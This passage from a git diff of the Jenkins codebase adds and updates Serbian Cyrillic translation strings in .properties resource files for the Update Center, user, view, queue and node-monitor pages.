--- a/core/src/main/resources/hudson/model/UpdateCenter/body_sr.properties +++ b/core/src/main/resources/hudson/model/UpdateCenter/body_sr.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors -Go\ back\ to\ the\ top\ page=Povratak na vrh strane -warning=Restartujte Jenkins kada se zavr\u0161i instalacija i nema job-ova koji su u toku -you\ can\ start\ using\ the\ installed\ plugins\ right\ away=Mo\u017Eete po\u010Deti da koristite instalirani dodatak odmah +Go\ back\ to\ the\ top\ page=\u041F\u043E\u0432\u0440\u0430\u0442\u0430\u043A +warning=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438\u0442\u0435 Jenkins \u043A\u0430\u0434\u0430 \u0431\u0443\u0434\u0435 \u0441\u0435 \u0437\u0430\u0432\u0440\u0448\u0438\u043B\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u0438 \u043D\u0435 \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 \u0443 \u0442\u043E\u043A\u0443 +you\ can\ start\ using\ the\ installed\ plugins\ right\ away=\u041C\u043E\u0436\u0435\u0442\u0435 \u043E\u0434\u043C\u0430\u0445 \u043F\u043E\u0447\u0435\u0442\u0438 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/index_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/index_sr.properties index 22d5060384..8832564b2b 100644 --- a/core/src/main/resources/hudson/model/UpdateCenter/index_sr.properties +++ b/core/src/main/resources/hudson/model/UpdateCenter/index_sr.properties @@ -1,3 +1,4 @@ # This file is under the MIT License by authors -Installing\ Plugins/Upgrades=Instalacija dodataka/nadogradnja +Update\ Center=\u0426\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +Installing\ Plugins/Upgrades=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u043C\u043E\u0434\u0443\u043B\u0435 \u0438 \u043D\u0430\u0434\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/hudson/model/UpdateCenter/sidepanel_sr.properties b/core/src/main/resources/hudson/model/UpdateCenter/sidepanel_sr.properties index a82734d03e..b2340e6797 100644 --- a/core/src/main/resources/hudson/model/UpdateCenter/sidepanel_sr.properties +++ b/core/src/main/resources/hudson/model/UpdateCenter/sidepanel_sr.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors -Back\ to\ Dashboard=Povratak na po\u010Detnu stranu -Manage\ Jenkins=Upravljanje Jenkins-om -Manage\ Plugins=Upravljanje dodacima +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +Manage\ Plugins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u043C\u043E\u0434\u0443\u043B\u0438\u043C\u0430 +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 diff --git a/core/src/main/resources/hudson/model/UsageStatistics/global_sr.properties b/core/src/main/resources/hudson/model/UsageStatistics/global_sr.properties new file mode 100644 index 0000000000..0d9545b6dc --- /dev/null +++ b/core/src/main/resources/hudson/model/UsageStatistics/global_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +statsBlurb=\u041F\u043E\u043C\u043E\u0437\u0438 \u043D\u0430\u043C \u0434\u0430 \u043F\u043E\u0431\u043E\u0459\u0448\u0430\u043C\u043E Jenkins \u0448\u0430\u0459\u0435\u045B\u0438 \u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u043E \u043A\u043E\u0440\u0438\u0448\u045B\u0435\u045A\u0443 \u0438 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458\u0435 \u043E \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 Jenkins \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0443. \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/User/builds_sr.properties b/core/src/main/resources/hudson/model/User/builds_sr.properties new file mode 100644 index 0000000000..debfdbad94 --- /dev/null +++ b/core/src/main/resources/hudson/model/User/builds_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +title=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0437\u0430 {0} diff --git a/core/src/main/resources/hudson/model/User/configure_sr.properties b/core/src/main/resources/hudson/model/User/configure_sr.properties new file mode 100644 index 0000000000..c7fb0bbcca --- /dev/null +++ b/core/src/main/resources/hudson/model/User/configure_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +title=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \u2018{0}\u2019 +Full\ name=\u0418\u043C\u0435 \u0438 \u043F\u0440\u0435\u0437\u0438\u043C\u0435 +Description=\u041E\u043F\u0438\u0441 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 diff --git a/core/src/main/resources/hudson/model/User/delete_sr.properties b/core/src/main/resources/hudson/model/User/delete_sr.properties new file mode 100644 index 0000000000..24274a814e --- /dev/null +++ b/core/src/main/resources/hudson/model/User/delete_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Are\ you\ sure\ about\ deleting\ the\ user\ from\ Jenkins?=\u0414\u0430 \u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \u0441\u0430 Jenkins? +Yes=\u0414\u0430 diff --git a/core/src/main/resources/hudson/model/User/index_sr.properties b/core/src/main/resources/hudson/model/User/index_sr.properties new file mode 100644 index 0000000000..02d6064184 --- /dev/null +++ b/core/src/main/resources/hudson/model/User/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Groups=\u0413\u0440\u0443\u043F\u0435 +Jenkins\ User\ Id=Jenkins \u0438\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u043E\u043D\u0438 \u0431\u0440\u043E\u0458 diff --git a/core/src/main/resources/hudson/model/User/sidepanel_sr.properties b/core/src/main/resources/hudson/model/User/sidepanel_sr.properties new file mode 100644 index 0000000000..c7bf9e97cb --- /dev/null +++ b/core/src/main/resources/hudson/model/User/sidepanel_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +People=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 +Status=\u0421\u0442\u0430\u045A\u0435 +Builds=\u0418\u0437\u0433\u0440\u0430\u0434\u045Ae +Configure=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +Delete=\u0423\u043A\u043B\u043E\u043D\u0438 +My\ Views=\u041C\u043E\u0458\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0438 diff --git a/core/src/main/resources/hudson/model/View/AsynchPeople/index_sr.properties b/core/src/main/resources/hudson/model/View/AsynchPeople/index_sr.properties new file mode 100644 index 0000000000..a44ab2742a --- /dev/null +++ b/core/src/main/resources/hudson/model/View/AsynchPeople/index_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +People=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 +blurb=\u0422\u0430\u0431\u0435\u043B\u0430 \u0441\u0432\u0438\u0445 Jenkins \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430, \u0443\u043A\u0459\u0443\u0447\u0443\u0458\u0443\u045B\u0438 \u0441\u0432\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0435 \u043A\u043E\u0458e \u0441\u0438\u0441\u0442\u0435\u043C \u0430\u0443\u0442\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u0458\u0435 \u043C\u043E\u0436\u0435 \u043D\u0430\u0432\u0435\u0441\u0442\u0438, \u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0438 \u0443 \u043A\u043E\u043C\u0438\u0442-\u043F\u043E\u0440\u0443\u043A\u0430\u043C\u0430 \u0435\u0432\u0438\u0434\u0435\u043D\u0442\u0438\u0440\u0430\u043D\u0438 \u0443 \u0434\u043D\u0435\u0432\u043D\u0438\u043A\u0430\u043C\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0430. +User\ Id=\u0418\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u043E\u043D\u0438 \u0431\u0440\u043E\u0458 +Name=\u0418\u043C\u0435 +Last\ Commit\ Activity=\u0417\u0430\u0434\u045A\u0435 \u0430\u043A\u0442\u0438\u0432\u0430\u043D +On=\u043D\u0430 +All\ People=\u0421\u0432\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 +Last\ Active=\u0417\u0430\u0434\u045A\u0430 \u0430\u043A\u0442\u0438\u0432\u043D\u043E\u0441\u0442 diff --git a/core/src/main/resources/hudson/model/View/People/index_sr.properties b/core/src/main/resources/hudson/model/View/People/index_sr.properties new file mode 100644 index 0000000000..b2ba8ffa19 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/People/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +People=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 +Moved\ to\ asyncPeople=\u041F\u0440\u0435\u043C\u0435\u0448\u045B\u0435\u043D\u043E \u043D\u0430 asyncPeople diff --git a/core/src/main/resources/hudson/model/View/builds_sr.properties b/core/src/main/resources/hudson/model/View/builds_sr.properties new file mode 100644 index 0000000000..e8da756a69 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/builds_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +buildHistory=\u0418\u0441\u0442\u043E\u0440\u0438\u0458\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 {0} +Export\ as\ plain\ XML=\u0418\u0437\u0432\u0435\u0437\u0438 \u0443 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u043E\u043C XML \u0444\u043E\u0440\u043C\u0430\u0442\u0443 diff --git a/core/src/main/resources/hudson/model/View/configure_sr.properties b/core/src/main/resources/hudson/model/View/configure_sr.properties new file mode 100644 index 0000000000..2a667b1e7e --- /dev/null +++ b/core/src/main/resources/hudson/model/View/configure_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Edit\ View=\u0417\u0440\u0435\u0434\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +Name=\u0418\u043C\u0435 +Description=\u041E\u043F\u0438\u0441 +Filter\ build\ queue=\u041F\u0440\u043E\u0444\u0438\u043B\u0442\u0440\u0438\u0440\u0430\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u043D\u0438 \u0440\u0435\u0434 +Filter\ build\ executors=\u041F\u0440\u043E\u0444\u0438\u043B\u0442\u0440\u0438\u0440\u0430\u0458 \u0433\u0440\u0430\u0434\u0438\u0442\u0435\u0459\u0435 +OK=\u0423\u0440\u0435\u0434\u0443 diff --git a/core/src/main/resources/hudson/model/View/delete_sr.properties b/core/src/main/resources/hudson/model/View/delete_sr.properties new file mode 100644 index 0000000000..e6dd5680f9 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/delete_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Yes=\u0414\u0430 +Are\ you\ sure\ about\ deleting\ the\ view?=\u0414\u0430 \u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434? diff --git a/core/src/main/resources/hudson/model/View/index_sr.properties b/core/src/main/resources/hudson/model/View/index_sr.properties new file mode 100644 index 0000000000..b5b7c47fc6 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/index_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Dashboard=\u041A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0438 \u043F\u0430\u043D\u0435\u043B diff --git a/core/src/main/resources/hudson/model/View/newJob_sr.properties b/core/src/main/resources/hudson/model/View/newJob_sr.properties new file mode 100644 index 0000000000..8431e7c839 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/newJob_sr.properties @@ -0,0 +1,13 @@ +# This file is under the MIT License by authors + +NewJob=\u041D\u043E\u0432\u0430 {0} +ItemName.label=\u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0438\u043C\u0435 \u043E\u0431\u0458\u0435\u043A\u0442\u0430 +ItemName.help=\u041E\u0431\u0430\u0432\u0435\u0437\u043D\u043E \u043F\u043E\u0459\u0435 +ItemName.validation.required=\u041F\u043E\u0459\u0435 \u043D\u0435 \u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043F\u0440\u0430\u0437\u043D\u043E. \u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0432\u0430\u0436\u0435\u045B\u0435 \u0438\u043C\u0435. +ItemType.validation.required=\u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0442\u0438\u043F \u043E\u0431\u0458\u0435\u043A\u0442\u0430 +CopyOption.description=\u043E\u0432\u043E \u0432\u0430\u043C \u043E\u043C\u043E\u0433\u0443\u045B\u0430\u0432\u0430 \u0434\u0430 \u043A\u0440\u0435\u0438\u0440\u0430\u0442\u0435 \u043D\u043E\u0432\u0438 \u043E\u0431\u0458\u0435\u043A\u0430\u0442 \u043D\u0430 \u043E\u0441\u043D\u043E\u0432\u0443 \u043F\u043E\u0441\u0442\u043E\u0458\u0435\u045B\u0435\u0433. +CopyOption.label=\u041A\u043E\u043F\u0438\u0440\u0430\u0458 \u043E\u0434 +CopyOption.placeholder=\u0423\u043D\u0435\u0448\u0435\u043D\u043E \u0438\u043C\u0435 \u045B\u0435 \u0441\u0435 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u0434\u043E\u043F\u0438\u0441\u0430\u043D\u043E +JobName=\u041D\u0430\u0437\u0438\u0432 {0} +CopyExisting=\u041A\u043E\u043F\u0438\u0440\u0430\u0458 \u043F\u043E\u0441\u0442\u043E\u0458\u0435\u045B\u0435\u0433 {0} +Copy\ from= diff --git a/core/src/main/resources/hudson/model/View/noJob_sr.properties b/core/src/main/resources/hudson/model/View/noJob_sr.properties new file mode 100644 index 0000000000..48fa3dc5f4 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/noJob_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +description_1=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u043D\u0438 \u0458\u0435\u0434\u0430\u043D \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0440\u0435\u0433\u043B\u0435\u0434. +description_2=\u041C\u043E\u0436\u0435\u0442\u0435 \u0434\u043E\u0434\u0430\u0442\u0438 \u043F\u043E\u0441\u0442\u043E\u0458\u0435\u045B\u0430 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 \u043D\u0430 \u043E\u0432\u043E\u043C \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0443 \u0438\u043B\u0438 \u043A\u0440\u0435\u0438\u0440\u0430\u0458\u0442\u0435 \u043D\u043E\u0432\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0437\u0430 \u043E\u0432\u0435 \u0432\u0440\u0441\u0442\u0435. diff --git a/core/src/main/resources/hudson/model/View/sidepanel_sr.properties b/core/src/main/resources/hudson/model/View/sidepanel_sr.properties index 0564fcdb0e..9e96c154ad 100644 --- a/core/src/main/resources/hudson/model/View/sidepanel_sr.properties +++ b/core/src/main/resources/hudson/model/View/sidepanel_sr.properties @@ -20,9 +20,11 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Build\ History=Istorija Gradnje -Check\ File\ Fingerprint=Proveri verziju fajla -Edit\ View=\u0418\u0437\u043C\u0435\u043D\u0438 \u043F\u043E\u0433\u043B\u0435\u0434 -NewJob=\u041D\u043E\u0432\u043E{0} -People=\u0409\u0443\u0434\u0438 -Project\ Relationship=Veze projekta +Build\ History=\u0418\u0441\u0442\u043E\u0440\u0438\u0458\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Check\ File\ Fingerprint=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 \u043E\u0442\u0438\u0441\u0430\u043A \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 +Edit\ View=\u0423\u0440\u0435\u0434\u0438 \u043F\u043E\u0433\u043B\u0435\u0434 +NewJob=\u041D\u043E\u0432\u0438 {0} +People=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 +Project\ Relationship=\u0412\u0435\u0437\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 +Delete\ View=\u0423\u043A\u043B\u043E\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C diff --git a/core/src/main/resources/hudson/model/labels/LabelAtom/configure_sr.properties b/core/src/main/resources/hudson/model/labels/LabelAtom/configure_sr.properties new file mode 100644 index 0000000000..80aa26570b --- /dev/null +++ b/core/src/main/resources/hudson/model/labels/LabelAtom/configure_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +title={0} \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +Name=\u0418\u043C\u0435 +Description=\u041E\u043F\u0438\u0441 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 diff --git a/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsBusy/summary_sr.properties b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsBusy/summary_sr.properties new file mode 100644 index 0000000000..f7db179642 --- /dev/null +++ b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsBusy/summary_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +description=\u0427\u0435\u043A\u0430\u045A\u0435 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0435\u0433 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u043E\u0433 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u043D\u0430 {0} \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsOffline/summary_sr.properties b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsOffline/summary_sr.properties new file mode 100644 index 0000000000..7329a5ac92 --- /dev/null +++ b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseLabelIsOffline/summary_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +description=\u0421\u0432\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \u043F\u043E\u0434 \u043B\u0430\u0431\u0435\u043B\u043E\u043C \u2018{0}\u2019 \u0441\u0443 \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435 +description_no_nodes=\u041D\u0435\u043C\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u043F\u043E\u0434 \u043B\u0430\u0431\u0435\u043B\u043E\u043C \u2018{0}\u2019 \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsBusy/summary_sr.properties b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsBusy/summary_sr.properties new file mode 100644 index 0000000000..1d9d648042 --- /dev/null +++ b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsBusy/summary_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +description=\u0427\u0435\u043A\u0430 \u0441\u0435 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0435\u0433 \u0441\u043B\u043E\u0431\u043E\u0434\u043D\u043E\u0433 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \u043D\u0430 {0} \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsOffline/summary_sr.properties b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsOffline/summary_sr.properties new file mode 100644 index 0000000000..1359469323 --- /dev/null +++ b/core/src/main/resources/hudson/model/queue/CauseOfBlockage/BecauseNodeIsOffline/summary_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +description={0} \u0458\u0435 \u0432\u0430\u043D \u043D\u0440\u0435\u0436\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/queue/Messages_sr.properties b/core/src/main/resources/hudson/model/queue/Messages_sr.properties new file mode 100644 index 0000000000..db51451ccd --- /dev/null +++ b/core/src/main/resources/hudson/model/queue/Messages_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +QueueSorter.installDefaultQueueSorter=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u043B\u0438\u0440\u0430\u045A\u0435 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0443 \u043C\u043E\u0434\u0443\u043B\u0443 \u0437\u0430 \u0441\u043E\u0440\u0442\u0438\u0440\u0430\u045A\u0435 \u0440\u0435\u0434\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_sr.properties b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_sr.properties new file mode 100644 index 0000000000..940d8318b2 --- /dev/null +++ b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Free\ Space\ Threshold=\u0413\u0440\u0430\u043D\u0438\u0447\u043D\u0430 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442 \u043F\u0440\u0430\u0437\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 diff --git a/core/src/main/resources/hudson/node_monitors/Messages_sr.properties b/core/src/main/resources/hudson/node_monitors/Messages_sr.properties new file mode 100644 index 0000000000..fa6d7a521d --- /dev/null +++ b/core/src/main/resources/hudson/node_monitors/Messages_sr.properties @@ -0,0 +1,14 @@ +# This file is under the MIT License by authors + +ArchitectureMonitor.DisplayName=\u0410\u0440\u0445\u0438\u0442\u0435\u043A\u0442\u0443\u0440\u0430 +ClockMonitor.DisplayName=\u0420\u0430\u0437\u043B\u0438\u043A\u0430 \u0443 \u0441\u0430\u0442\u0443 +DiskSpaceMonitor.MarkedOffline=\u041F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u043E \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0443\u0458\u0435 "{0}" \u2014 \u043D\u0435\u043C\u0430 \u0434\u043E\u0432\u043E\u0459\u043D\u043E \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u043D\u0430 \u0434\u0438\u0441\u043A\u0443 +DiskSpaceMonitor.MarkedOnline=\u0423\u043A\u0459\u0443\u0447\u0443\u0458\u0435 "{0}" \u2014 \u043E\u043F\u0435\u0442 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0434\u043E\u0432\u043E\u0459\u043D\u043E \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u043D\u0430 \u0434\u0438\u0441\u043A\u0443 +DiskSpaceMonitor.DisplayName=\u0421\u043B\u043E\u0431\u043E\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u043D\u0430 \u0434\u0438\u0441\u043A\u0443 +ResponseTimeMonitor.DisplayName=\u0412\u0440\u0435\u043C\u0435 \u0437\u0430 \u043E\u0434\u0433\u043E\u0432\u043E\u0440 +ResponseTimeMonitor.MarkedOffline=\u041F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u043E \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0443\u0458\u0435 "{0}" \u2014 \u043D\u0435\u043C\u0430 \u043E\u0434\u0433\u043E\u0432\u043E\u0440\u0430 +ResponseTimeMonitor.TimeOut=\u0418\u0437\u0441\u0442\u043A\u043B\u043E \u0432\u0440\u0435\u043C\u0435 \u0437\u0430 \u043F\u043E\u0441\u043B\u0435\u0434\u045A\u0438 \u043F\u043E\u043A\u0443\u0448\u0430\u0458 "{0}" +SwapSpaceMonitor.DisplayName=\u0421\u043B\u043E\u0431\u043E\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u0437\u0430 \u0437\u0430\u043C\u0435\u043D\u043E\u043C \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0443 +TemporarySpaceMonitor.DisplayName=\u0421\u043B\u043E\u0431\u043E\u0434\u043D\u043E\u0433 \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u0437\u0430 \u043F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u043E\u043C \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0443 +AbstractNodeMonitorDescriptor.NoDataYet=\u041D\u0435\u043C\u0430 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430 +DiskSpaceMonitorDescriptor.DiskSpace.FreeSpaceTooLow=\u041D\u0435\u043C\u0430 \u0434\u043E\u0432\u043E\u0459\u043D\u043E \u043F\u0440\u043E\u0441\u0442\u043E\u0440\u0430 \u043D\u0430 \u0434\u0438\u0441\u043A\u0443. {1} \u043E\u0441\u0442\u0430\u0458\u0435 \u0441\u0430\u043C\u043E {0}GB. \ No newline at end of file diff --git a/core/src/main/resources/hudson/node_monitors/MonitorMarkedNodeOffline/message_sr.properties b/core/src/main/resources/hudson/node_monitors/MonitorMarkedNodeOffline/message_sr.properties new file mode 100644 index 0000000000..d3c410a95f --- /dev/null +++ b/core/src/main/resources/hudson/node_monitors/MonitorMarkedNodeOffline/message_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +blurb=Jenkins \u043F\u0440\u0435\u043A\u0438\u043D\u0443\u043E \u0432\u0435\u0437\u0443 \u0441\u0430 \u043D\u0435\u043A\u0438\u043C \u0430\u0433\u0435\u043D\u0442\u0438\u043C\u0430 \u0437\u0430\u0448\u0442\u043E \u045A\u0435\u043D\u0435 \u0437\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0435\u043D\u0435 \u043C\u0435\u0442\u0440\u0438\u043A\u0435 \u0441\u0443 \u043F\u0430\u043B\u0435 \u0438\u0441\u043F\u043E\u0434 \u043F\u0440\u0430\u0433\u0430. \ + \u0410\u043A\u043E \u043D\u0435\u0431\u0438 \u0436\u0435\u043B\u0435\u043B\u0438 Jenkins \u0442\u0430\u043A\u043E \u0434\u0430 \u0434\u0435\u043B\u0443\u0458\u0435, \ + \u043F\u043E\u0434\u0435\u0441\u0438. +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 diff --git a/core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_sr.properties b/core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_sr.properties new file mode 100644 index 0000000000..56ff2e35b0 --- /dev/null +++ b/core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/Data/cause_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Ping\ response\ time\ is\ too\ long\ or\ timed\ out.=\u0414\u043E\u0437\u0432\u043E\u0459\u0435\u043D\u043E \u0432\u0440\u0435\u043C\u0435 \u043E\u0434\u0430\u0437\u0438\u0432\u0430\u045A\u0430 \u043D\u0430 Ping \u043A\u043E\u043C\u0430\u043D\u0434\u0438 \u0458\u0435 \u0438\u0437\u0441\u0442\u0435\u043A\u043B\u043E. diff --git a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationCompleteNotice/message_sr.properties b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationCompleteNotice/message_sr.properties new file mode 100644 index 0000000000..9e3eacf551 --- /dev/null +++ b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationCompleteNotice/message_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Data\ was\ successfully\ migrated\ to\ ZFS.=\u041F\u043E\u0434\u0430\u0446\u0438 \u0441\u0443 \u0443\u0441\u043F\u0435\u0448\u043D\u043E \u043C\u0438\u0433\u0440\u0438\u0440\u0430\u043D\u0438 \u043D\u0430 ZFS. +OK=\u0423\u0440\u0435\u0434\u0443 diff --git a/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/index_sr.properties b/core/src/main/resources/hudson/os/solaris/ZFSInstaller/MigrationFailedNotice/index_sr.properties new file mode 100644 